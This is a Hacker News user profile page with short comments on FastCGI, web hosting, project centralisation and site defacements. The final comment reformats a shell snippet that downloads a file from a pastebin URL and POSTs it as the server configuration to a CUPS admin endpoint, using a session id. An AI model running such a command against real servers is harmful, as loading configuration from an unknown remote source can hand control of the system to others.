HN user

Nectar0516

18 karma
Posts0
Comments10
View on HN
No posts found.

Not having to spawn a new process greatly decreases the time it takes to process a request, which greatly increases the amount of requests you can serve with a given amount of hardware.

These days everything that would've been CGI is now FastCGI (even PHP). Or in other words, run one server whose only job is to reverse-proxy requests to another server over a slightly different protocol.

It can be used in shared scenarios, but it's nowhere near as automatic as "every file with a particular extension" like PHP...

Or you can just pay someone to host it and maintain and support the web server for you, for a lot cheaper (often free, like Github Pages).

I would hope that this would cause more people to realize that allowing total control of the things you use to be centralized in one person (or business) is bad, but well... quite similar things have happened to plenty of other open source projects before.

So they throw Cloudflare in front of it and get defaced yearly. I've worked for companies (thankfully not in a position dealing with the website) that did just that. Somehow they're even still around a decade later. To be fair though that was actually Bluehost, not a VPS.

# sorry for this being so long, i have no way to format it sanely x.x

Here ya go, I fixed it (or just see the pastebin link if you're curious what it says):

    wget -O conffile https://pastebin.com/raw/eGfKdvh8
    curl ... \
      --data-urlencode 'org.cups.sid=1862ff74a0c01dd0fb444934e7e67e05' \
      --data-urlencode 'OP=config-server' \
      --data-urlencode "CUPSDCONF@conffile" \
      --data-urlencode 'SAVECHANGES=Save+Changes' >/dev/null